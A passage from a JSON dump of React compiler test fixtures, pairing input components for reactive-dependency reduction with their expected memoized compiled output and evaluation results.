},\n    { input: null, cond: true },\n    { input: {}, cond: false },\n    { input: { a: { b: null } }, cond: false },\n    { input: { a: null }, cond: false },\n    { input: { a: { b: 3 } }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [2]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-label.ts",
    "content": "function useFoo({input, cond}) {\n  const x = [];\n  label: {\n    if (cond) {\n      break label;\n    }\n  }\n  x.push(input.a.b); // unconditional\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, cond: false},\n    // preserve nullthrows\n    {input: null, cond: false},\n    {input: null, cond: true},\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction useFoo({input, max}) {\n  const x = [];\n  let i = 0;\n  while (true) {\n    i += 1;\n    if (i > max) {\n      break;\n    }\n  }\n  x.push(i);\n  x.push(input.a.b); // unconditional\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, max: 8}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, max: 8},\n    // preserve nullthrows\n    {input: null, max: 8},\n    {input: {}, max: 8},\n    {input: {a: {b: null}}, max: 8},\n    {input: {a: null}, max: 8},\n    {input: {a: {b: 3}}, max: 8},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { input, max } = t0;\n  let x;\n  if ($[0] !== input.a.b || $[1] !== max) {\n    x = [];\n    let i = 0;\n    while (true) {\n      i = i + 1;\n      if (i > max) {\n        break;\n      }\n    }\n\n    x.push(i);\n    x.push(input.a.b);\n    $[0] = input.a.b;\n    $[1] = max;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, max: 8 }],\n  sequentialRenders: [\n    { input: { a: { b: 2 } }, max: 8 },\n    // preserve nullthrows\n    { input: null, max: 8 },\n    { input: {}, max: 8 },\n    { input: { a: { b: null } }, max: 8 },\n    { input: { a: null }, max: 8 },\n    { input: { a: { b: 3 } }, max: 8 },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [9,2]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'a') ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[9,null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[9,3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/jump-target-within-scope-loop-break.ts",
    "content": "function useFoo({input, max}) {\n  const x = [];\n  let i = 0;\n  while (true) {\n    i += 1;\n    if (i > max) {\n      break;\n    }\n  }\n  x.push(i);\n  x.push(input.a.b); // unconditional\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, max: 8}],\n  sequentialRenders: [\n    {input: {a: {b: 2}}, max: 8},\n    // preserve nullthrows\n    {input: null, max: 8},\n    {input: {}, max: 8},\n    {input: {a: {b: null}}, max: 8},\n    {input: {a: null}, max: 8},\n    {input: {a: {b: 3}}, max: 8},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, hasAB, returnNull}) {\n  const x = [];\n  if (!hasAB) {\n    x.push(identity(input.a));\n    if (!returnNull) {\n      return null;\n    }\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, hasAB: false, returnNull: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(9);\n  const { input, hasAB, returnNull } = t0;\n  let t1;\n  let x;\n  if ($[0] !== hasAB || $[1] !== input.a || $[2] !== returnNull) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (!hasAB) {\n        let t2;\n        if ($[5] !== input.a) {\n          t2 = identity(input.a);\n          $[5] = input.a;\n          $[6] = t2;\n        } else {\n          t2 = $[6];\n        }\n        x.push(t2);\n        if (!returnNull) {\n          t1 = null;\n          break bb0;\n        }\n      } else {\n        let t2;\n        if ($[7] !== input.a.b) {\n          t2 = identity(input.a.b);\n          $[7] = input.a.b;\n          $[8] = t2;\n        } else {\n          t2 = $[8];\n        }\n        x.push(t2);\n      }\n    }\n    $[0] = hasAB;\n    $[1] = input.a;\n    $[2] = returnNull;\n    $[3] = t1;\n    $[4] = x;\n  } else {\n    t1 = $[3];\n    x = $[4];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { b: 1 }, hasAB: false, returnNull: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, hasAB, returnNull}) {\n  const x = [];\n  if (!hasAB) {\n    x.push(identity(input.a));\n    if (!returnNull) {\n      return null;\n    }\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, hasAB: false, returnNull: false}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond2, cond1}) {\n  const x = [];\n  if (cond1) {\n    if (!cond2) {\n      x.push(identity(input.a.b));\n      return null;\n    } else {\n      x.push(identity(input.a.b));\n    }\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, cond1: true, cond2: false}],\n  sequentialRenders: [\n    {input: {a: {b: 1}}, cond1: true, cond2: true},\n    {input: null, cond1: true, cond2: false},\n    // preserve nullthrows\n    {input: {a: {b: undefined}}, cond1: true, cond2: true},\n    {input: {a: null}, cond1: true, cond2: true},\n    {input: {a: {b: undefined}}, cond1: true, cond2: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(11);\n  const { input, cond2, cond1 } = t0;\n  let t1;\n  let x;\n  if ($[0] !== cond1 || $[1] !== cond2 || $[2] !== input.a.b) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (cond1) {\n        if (!cond2) {\n          let t2;\n          if ($[5] !== input.a.b) {\n            t2 = identity(input.a.b);\n            $[5] = input.a.b;\n            $[6] = t2;\n          } else {\n            t2 = $[6];\n          }\n          x.push(t2);\n          t1 = null;\n          break bb0;\n        } else {\n          let t2;\n          if ($[7] !== input.a.b) {\n            t2 = identity(input.a.b);\n            $[7] = input.a.b;\n            $[8] = t2;\n          } else {\n            t2 = $[8];\n          }\n          x.push(t2);\n        }\n      } else {\n        let t2;\n        if ($[9] !== input.a.b) {\n          t2 = identity(input.a.b);\n          $[9] = input.a.b;\n          $[10] = t2;\n        } else {\n          t2 = $[10];\n        }\n        x.push(t2);\n      }\n    }\n    $[0] = cond1;\n    $[1] = cond2;\n    $[2] = input.a.b;\n    $[3] = t1;\n    $[4] = x;\n  } else {\n    t1 = $[3];\n    x = $[4];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { b: 1 }, cond1: true, cond2: false }],\n  sequentialRenders: [\n    { input: { a: { b: 1 } }, cond1: true, cond2: true },\n    { input: null, cond1: true, cond2: false },\n    // preserve nullthrows\n    { input: { a: { b: undefined } }, cond1: true, cond2: true },\n    { input: { a: null }, cond1: true, cond2: true },\n    { input: { a: { b: undefined } }, cond1: true, cond2: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [1]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'a') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[null]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/reduce-if-exhaustive-nonpoisoned-deps1.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, cond2, cond1}) {\n  const x = [];\n  if (cond1) {\n    if (!cond2) {\n      x.push(identity(input.a.b));\n      return null;\n    } else {\n      x.push(identity(input.a.b));\n    }\n  } else {\n    x.push(identity(input.a.b));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, cond1: true, cond2: false}],\n  sequentialRenders: [\n    {input: {a: {b: 1}}, cond1: true, cond2: true},\n    {input: null, cond1: true, cond2: false},\n    // preserve nullthrows\n    {input: {a: {b: undefined}}, cond1: true, cond2: true},\n    {input: {a: null}, cond1: true, cond2: true},\n    {input: {a: {b: undefined}}, cond1: true, cond2: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  if (cond) {\n    return {result: 'early return'};\n  }\n\n  // unconditional\n  const x = [];\n  arrayPush(x, input.a.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: null, cond: true},\n    {input: {a: {b: 2}}, cond: false},\n    {input: null, cond: true},\n    // preserve nullthrows\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(3);\n  const { input, cond } = t0;\n  if (cond) {\n    let t1;\n    if ($[0] === Symbol.for(\"react.memo_cache_sentinel\")) {\n      t1 = { result: \"early return\" };\n      $[0] = t1;\n    } else {\n      t1 = $[0];\n    }\n    return t1;\n  }\n  let x;\n  if ($[1] !== input.a.b) {\n    x = [];\n    arrayPush(x, input.a.b);\n    $[1] = input.a.b;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, cond: false }],\n  sequentialRenders: [\n    { input: null, cond: true },\n    { input: { a: { b: 2 } }, cond: false },\n    { input: null, cond: true },\n    // preserve nullthrows\n    { input: {}, cond: false },\n    { input: { a: { b: null } }, cond: false },\n    { input: { a: null }, cond: false },\n    { input: { a: { b: 3 } }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"result\":\"early return\"}\n[2]\n{\"result\":\"early return\"}\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/return-before-scope-starts.ts",
    "content": "import {arrayPush} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  if (cond) {\n    return {result: 'early return'};\n  }\n\n  // unconditional\n  const x = [];\n  arrayPush(x, input.a.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: null, cond: true},\n    {input: {a: {b: 2}}, cond: false},\n    {input: null, cond: true},\n    // preserve nullthrows\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {arrayPush} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  if (cond) {\n    throw new Error('throw with error!');\n  }\n\n  // unconditional\n  const x = [];\n  arrayPush(x, input.a.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: null, cond: true},\n    {input: {a: {b: 2}}, cond: false},\n    {input: null, cond: true},\n    // preserve nullthrows\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { arrayPush } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(2);\n  const { input, cond } = t0;\n  if (cond) {\n    throw new Error(\"throw with error!\");\n  }\n  let x;\n  if ($[0] !== input.a.b) {\n    x = [];\n    arrayPush(x, input.a.b);\n    $[0] = input.a.b;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { a: { b: 2 } }, cond: false }],\n  sequentialRenders: [\n    { input: null, cond: true },\n    { input: { a: { b: 2 } }, cond: false },\n    { input: null, cond: true },\n    // preserve nullthrows\n    { input: {}, cond: false },\n    { input: { a: { b: null } }, cond: false },\n    { input: { a: null }, cond: false },\n    { input: { a: { b: 3 } }, cond: false },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) [[ (exception in render) Error: throw with error! ]]\n[2]\n[[ (exception in render) Error: throw with error! ]]\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'b') ]]\n[null]\n[[ (exception in render) TypeError: Cannot read properties of null (reading 'b') ]]\n[3]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/jump-unpoisoned/throw-before-scope-starts.ts",
    "content": "import {arrayPush} from 'shared-runtime';\n\nfunction useFoo({input, cond}) {\n  if (cond) {\n    throw new Error('throw with error!');\n  }\n\n  // unconditional\n  const x = [];\n  arrayPush(x, input.a.b);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {a: {b: 2}}, cond: false}],\n  sequentialRenders: [\n    {input: null, cond: true},\n    {input: {a: {b: 2}}, cond: false},\n    {input: null, cond: true},\n    // preserve nullthrows\n    {input: {}, cond: false},\n    {input: {a: {b: null}}, cond: false},\n    {input: {a: null}, cond: false},\n    {input: {a: {b: 3}}, cond: false},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.expect.md",
    "content": "\n## Input\n\n```javascript\n// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a.b` or a subpath as a dependency.\n//\n// (1) Since the reactive block producing x unconditionally read props.a.<...>,\n//     reading `props.a.b` outside of the block would still preserve nullthrows\n//     semantics of source code\n// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.\n//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,\n//     not its actual value. Since we already preserve nullthrows on `props.a`,\n//     we technically do not need to add `props.a` as a dependency.\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  x.push(props.a.b.c);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {b: {c: 1}}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a.b` or a subpath as a dependency.\n//\n// (1) Since the reactive block producing x unconditionally read props.a.<...>,\n//     reading `props.a.b` outside of the block would still preserve nullthrows\n//     semantics of source code\n// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.\n//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,\n//     not its actual value. Since we already preserve nullthrows on `props.a`,\n//     we technically do not need to add `props.a` as a dependency.\n\nfunction Component(props) {\n  const $ = _c(2);\n  let x;\n  if ($[0] !== props.a.b) {\n    x = [];\n    x.push(props.a?.b);\n    x.push(props.a.b.c);\n    $[0] = props.a.b;\n    $[1] = x;\n  } else {\n    x = $[1];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ a: { b: { c: 1 } } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [{\"c\":1},1]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain.ts",
    "content": "// To preserve the nullthrows behavior and reactive deps of this code,\n// Forget needs to add `props.a.b` or a subpath as a dependency.\n//\n// (1) Since the reactive block producing x unconditionally read props.a.<...>,\n//     reading `props.a.b` outside of the block would still preserve nullthrows\n//     semantics of source code\n// (2) Technically, props.a, props.a.b, and props.a.b.c are all reactive deps.\n//     However, `props.a?.b` is only dependent on whether `props.a` is nullish,\n//     not its actual value. Since we already preserve nullthrows on `props.a`,\n//     we technically do not need to add `props.a` as a dependency.\n\nfunction Component(props) {\n  let x = [];\n  x.push(props.a?.b);\n  x.push(props.a.b.c);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{a: {b: {c: 1}}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.expect.md",
    "content": "\n## Input\n\n```javascript\nfunction Component(props) {\n  const x = [];\n  x.push(props.items?.length);\n  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: {edges: null, length: 0}}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nfunction Component(props) {\n  const $ = _c(5);\n  let x;\n  if ($[0] !== props.items?.edges || $[1] !== props.items?.length) {\n    x = [];\n    x.push(props.items?.length);\n    let t0;\n    if ($[3] !== props.items?.edges) {\n      t0 = props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? [];\n      $[3] = props.items?.edges;\n      $[4] = t0;\n    } else {\n      t0 = $[4];\n    }\n    x.push(t0);\n    $[0] = props.items?.edges;\n    $[1] = props.items?.length;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{ items: { edges: null, length: 0 } }],\n};\n\n```\n      \n### Eval output\n(kind: ok) [0,[]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/memberexpr-join-optional-chain2.ts",
    "content": "function Component(props) {\n  const x = [];\n  x.push(props.items?.length);\n  x.push(props.items?.edges?.map?.(render)?.filter?.(Boolean) ?? []);\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: Component,\n  params: [{items: {edges: null, length: 0}}],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.expect.md",
    "content": "\n## Input\n\n```javascript\n// When an object's properties are only read conditionally, we should\n\nimport {identity} from 'shared-runtime';\n\n// track the base object as a dependency.\nfunction useOnlyConditionalDependencies({props, cond}) {\n  const x = {};\n  if (identity(cond)) {\n    x.b = props.a.b;\n    x.c = props.a.b.c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useOnlyConditionalDependencies,\n  params: [{props: {a: {b: 2}}, cond: true}],\n  sequentialRenders: [\n    {props: {a: {b: 2}}, cond: true},\n    {props: null, cond: false},\n    // check we preserve nullthrows\n    {props: {a: {b: {c: undefined}}}, cond: true},\n    {props: {a: {b: undefined}}, cond: true},\n    {props: {a: {b: {c: undefined}}}, cond: true},\n    {props: undefined, cond: true},\n  ],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // When an object's properties are only read conditionally, we should\n\nimport { identity } from \"shared-runtime\";\n\n// track the base object as a dependency.\nfunction useOnlyConditionalDependencies(t0) {\n  const $ = _c(3);\n  const { props, cond } = t0;\n  let x;\n  if ($[0] !== cond || $[1] !== props) {\n    x = {};\n    if (identity(cond)) {\n      x.b = props.a.b;\n      x.c = props.a.b.c;\n    }\n    $[0] = cond;\n    $[1] = props;\n    $[2] = x;\n  } else {\n    x = $[2];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useOnlyConditionalDependencies,\n  params: [{ props: { a: { b: 2 } }, cond: true }],\n  sequentialRenders: [\n    { props: { a: { b: 2 } }, cond: true },\n    { props: null, cond: false },\n    // check we preserve nullthrows\n    { props: { a: { b: { c: undefined } } }, cond: true },\n    { props: { a: { b: undefined } }, cond: true },\n    { props: { a: { b: { c: undefined } } }, cond: true },\n    { props: undefined, cond: true },\n  ],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"b\":2}\n{}\n{\"b\":{}}\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'c') ]]\n{\"b\":{}}\n[[ (exception in render) TypeError: Cannot read properties of undefined (reading 'a') ]]"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/no-uncond.js",
    "content": "// When an object's properties are only read conditionally, we should\n\nimport {identity} from 'shared-runtime';\n\n// track the base object as a dependency.\nfunction useOnlyConditionalDependencies({props, cond}) {\n  const x = {};\n  if (identity(cond)) {\n    x.b = props.a.b;\n    x.c = props.a.b.c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useOnlyConditionalDependencies,\n  params: [{props: {a: {b: 2}}, cond: true}],\n  sequentialRenders: [\n    {props: {a: {b: 2}}, cond: true},\n    {props: null, cond: false},\n    // check we preserve nullthrows\n    {props: {a: {b: {c: undefined}}}, cond: true},\n    {props: {a: {b: undefined}}, cond: true},\n    {props: {a: {b: {c: undefined}}}, cond: true},\n    {props: undefined, cond: true},\n  ],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.expect.md",
    "content": "\n## Input\n\n```javascript\n// When a conditional dependency `props.a.b.c` has no unconditional dependency\n// in its subpath or superpath, we should find the nearest unconditional access\n\nimport {identity} from 'shared-runtime';\n\n// and promote it to an unconditional dependency.\nfunction usePromoteUnconditionalAccessToDependency(props, other) {\n  const x = {};\n  x.a = props.a.a.a;\n  if (identity(other)) {\n    x.c = props.a.b.c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: usePromoteUnconditionalAccessToDependency,\n  params: [{a: {a: {a: 3}}}, false],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\"; // When a conditional dependency `props.a.b.c` has no unconditional dependency\n// in its subpath or superpath, we should find the nearest unconditional access\n\nimport { identity } from \"shared-runtime\";\n\n// and promote it to an unconditional dependency.\nfunction usePromoteUnconditionalAccessToDependency(props, other) {\n  const $ = _c(4);\n  let x;\n  if ($[0] !== other || $[1] !== props.a.a.a || $[2] !== props.a.b) {\n    x = {};\n    x.a = props.a.a.a;\n    if (identity(other)) {\n      x.c = props.a.b.c;\n    }\n    $[0] = other;\n    $[1] = props.a.a.a;\n    $[2] = props.a.b;\n    $[3] = x;\n  } else {\n    x = $[3];\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: usePromoteUnconditionalAccessToDependency,\n  params: [{ a: { a: { a: 3 } } }, false],\n};\n\n```\n      \n### Eval output\n(kind: ok) {\"a\":3}"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/promote-uncond.js",
    "content": "// When a conditional dependency `props.a.b.c` has no unconditional dependency\n// in its subpath or superpath, we should find the nearest unconditional access\n\nimport {identity} from 'shared-runtime';\n\n// and promote it to an unconditional dependency.\nfunction usePromoteUnconditionalAccessToDependency(props, other) {\n  const x = {};\n  x.a = props.a.a.a;\n  if (identity(other)) {\n    x.c = props.a.b.c;\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: usePromoteUnconditionalAccessToDependency,\n  params: [{a: {a: {a: 3}}}, false],\n};\n"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.expect.md",
    "content": "\n## Input\n\n```javascript\nimport {identity} from 'shared-runtime';\n\nfunction useFoo({input, inputHasAB, inputHasABC}) {\n  const x = [];\n  if (!inputHasABC) {\n    x.push(identity(input.a));\n    if (!inputHasAB) {\n      return null;\n    }\n    x.push(identity(input.a.b));\n  } else {\n    x.push(identity(input.a.b.c));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, inputHasAB: false, inputHasABC: false}],\n};\n\n```\n\n## Code\n\n```javascript\nimport { c as _c } from \"react/compiler-runtime\";\nimport { identity } from \"shared-runtime\";\n\nfunction useFoo(t0) {\n  const $ = _c(11);\n  const { input, inputHasAB, inputHasABC } = t0;\n  let t1;\n  let x;\n  if ($[0] !== input.a || $[1] !== inputHasAB || $[2] !== inputHasABC) {\n    t1 = Symbol.for(\"react.early_return_sentinel\");\n    bb0: {\n      x = [];\n      if (!inputHasABC) {\n        let t2;\n        if ($[5] !== input.a) {\n          t2 = identity(input.a);\n          $[5] = input.a;\n          $[6] = t2;\n        } else {\n          t2 = $[6];\n        }\n        x.push(t2);\n        if (!inputHasAB) {\n          t1 = null;\n          break bb0;\n        }\n        let t3;\n        if ($[7] !== input.a.b) {\n          t3 = identity(input.a.b);\n          $[7] = input.a.b;\n          $[8] = t3;\n        } else {\n          t3 = $[8];\n        }\n        x.push(t3);\n      } else {\n        let t2;\n        if ($[9] !== input.a.b.c) {\n          t2 = identity(input.a.b.c);\n          $[9] = input.a.b.c;\n          $[10] = t2;\n        } else {\n          t2 = $[10];\n        }\n        x.push(t2);\n      }\n    }\n    $[0] = input.a;\n    $[1] = inputHasAB;\n    $[2] = inputHasABC;\n    $[3] = t1;\n    $[4] = x;\n  } else {\n    t1 = $[3];\n    x = $[4];\n  }\n  if (t1 !== Symbol.for(\"react.early_return_sentinel\")) {\n    return t1;\n  }\n\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{ input: { b: 1 }, inputHasAB: false, inputHasABC: false }],\n};\n\n```\n      \n### Eval output\n(kind: ok) null"
  },
  {
    "path": "compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reduce-reactive-deps/reduce-if-exhaustive-poisoned-deps.ts",
    "content": "import {identity} from 'shared-runtime';\n\nfunction useFoo({input, inputHasAB, inputHasABC}) {\n  const x = [];\n  if (!inputHasABC) {\n    x.push(identity(input.a));\n    if (!inputHasAB) {\n      return null;\n    }\n    x.push(identity(input.a.b));\n  } else {\n    x.push(identity(input.a.b.c));\n  }\n  return x;\n}\n\nexport const FIXTURE_ENTRYPOINT = {\n  fn: useFoo,\n  params: [{input: {b: 1}, inputHasAB: false, inputHasABC: false}],\n};\n"
  },
  {
